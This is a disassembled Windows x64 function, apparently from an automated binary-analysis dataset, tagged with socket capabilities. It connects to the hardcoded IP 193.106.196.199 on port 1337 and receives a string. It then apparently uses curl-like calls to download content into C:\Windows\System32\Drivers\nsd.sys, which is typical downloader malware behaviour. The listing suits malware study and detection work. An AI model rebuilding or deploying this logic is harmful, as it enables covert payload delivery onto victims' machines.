Function at 0x140013dc0
Capabilities:
Connect socket
Initialize winsock library
Receive data
Receive data on socket

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x520]
sub rsp, 0x620
xorps xmm0, xmm0
movups xmmword [rsp + 0x20], xmm0
xor edi, edi
mov qword [rsp + 0x30], rdi
mov qword [rsp + 0x38], rdi
mov ecx, gethostbyname
call fcn.14008828c
mov qword [rsp + 0x20], rax
mov qword [rsp + 0x30], reloc.WLDAP32.dll_Ordinal_35
mov qword [rsp + 0x38], gethostbyname
movups xmm0, xmmword [str.C:WindowsSystem32Drivers_nsd.sys]
movups xmmword [rax], xmm0
movups xmm1, xmmword [0x14008e1d8]
movups xmmword [rax + 0x10], xmm1
movzx ecx, word [0x14008e1e8]
mov word [rax + 0x20], cx
movzx ecx, byte [reloc.WS2_32.dll_WSAStartup]
mov byte [rax + 0x22], cl
mov byte [rax + 0x23], dil
mov ecx, 0x202
lea rdx, [rbp + 0x380]
call sub.WS2_32.dll_WSAStartup
test eax, eax
je 0x140013e85
lea rdx, str.Error:_WSAStartup_failed.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.1400069b0
lea rdx, [0x14000b790]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
xor r8d, r8d
mov edx, 1
mov ebx, 2
mov ecx, ebx
call sub.WS2_32.dll_socket
mov r15, rax
cmp rax, 0xffffffffffffffff
jne 0x140013ed5
lea rdx, str.Error:_socket_creation_failed.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.1400069b0
lea rdx, [0x14000b790]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
call sub.WS2_32.dll_WSACleanup
mov qword [rsp + 0x50], rdi
mov word [rsp + 0x48], bx
lea rcx, str.193.106.196.199
call sub.WS2_32.dll_inet_addr
mov dword [rsp + 0x4c], eax
mov ecx, 0x539
call sub.WS2_32.dll_htons
mov word [rsp + 0x4a], ax
mov r8d, reloc.WS2_32.dll_recv
lea rdx, [rsp + 0x48]
mov rcx, r15
call sub.WS2_32.dll_connect
cmp eax, 0xffffffff
jne 0x140013f51
lea rdx, str.Error:_connect_failed.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.1400069b0
lea rdx, [0x14000b790]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rcx, r15
call sub.WS2_32.dll_closesocket
call sub.WS2_32.dll_WSACleanup
xor r9d, r9d
mov r8d, 0x400
lea rdx, [rbp - 0x80]
mov rcx, r15
call sub.WS2_32.dll_recv
test eax, eax
jle 0x1400140eb
cdqe
mov byte [rbp + rax - 0x80], 0
xorps xmm0, xmm0
movups xmmword [rsp + 0x58], xmm0
mov qword [rsp + 0x68], rdi
mov qword [rsp + 0x70], rdi
lea rax, [rbp - 0x80]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x140013f92
lea rdx, [rbp - 0x80]
lea rcx, [rsp + 0x58]
call fcn.140006e30
call qword [fcn.14003a080]
mov r14, rax
test rax, rax
je 0x1400140a9
mov ebx, 0xff
movabs r12, 0x7fffffffc46535ff
movabs r13, 0x7fffffffffffffff
lea rcx, [rsp + 0x20]
cmp qword [rsp + 0x38], 0xf
cmova rcx, qword [rsp + 0x20]
lea rdx, [0x14008e258]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fopen]
mov rsi, rax
test rax, rax
je 0x140014048
lea r8, [rsp + 0x58]
cmp qword [rsp + 0x70], 0xf
cmova r8, qword [rsp + 0x58]
mov edx, 0x2712
mov rcx, r14
call qword [fcn.14003c880]
mov r8, rsi
mov edx, 0x2711
mov rcx, r14
call qword [fcn.14003c880]
mov rcx, r14
call qword [fcn.14003a140]
mov ebx, eax
mov rcx, rsi
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
test ebx, ebx
je 0x1400140a0
mov ebx, 0xff
lea rcx, [rbp + 0x568]
call fcn.14001a900
mov rax, qword [rbp + 0x568]
mov qword [rbp + 0x560], rax
cmp rax, r12
je 0x140014082
mov ecx, 1
cmovl ecx, ebx
test cl, cl
jns 0x140014082
add rax, 0x3b9aca00
mov qword [rbp + 0x560], rax
jmp 0x140014089
mov qword [rbp + 0x560], r13
lea rcx, [rbp + 0x560]
call fcn.14000f650
inc edi
cmp edi, 3
jl 0x140013fd5
mov rcx, r14
call qword [0x14009d838]
mov rdx, qword [rsp + 0x70]
cmp rdx, 0xf
jbe 0x140014119
inc rdx
mov rcx, qword [rsp + 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400140e4
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400140e4
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400882d0
jmp 0x140014119
lea rdx, str.Error:_Failed_to_server.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.1400069b0
lea rdx, [0x14000b790]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rcx, r15
call sub.WS2_32.dll_closesocket
call sub.WS2_32.dll_WSACleanup
nop
mov rdx, qword [rsp + 0x38]
cmp rdx, 0xf
jbe 0x140014167
inc rdx
mov rcx, qword [rsp + 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140014162
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140014162
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400882d0
mov rbx, qword [rsp + 0x670]
add rsp, 0x620
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret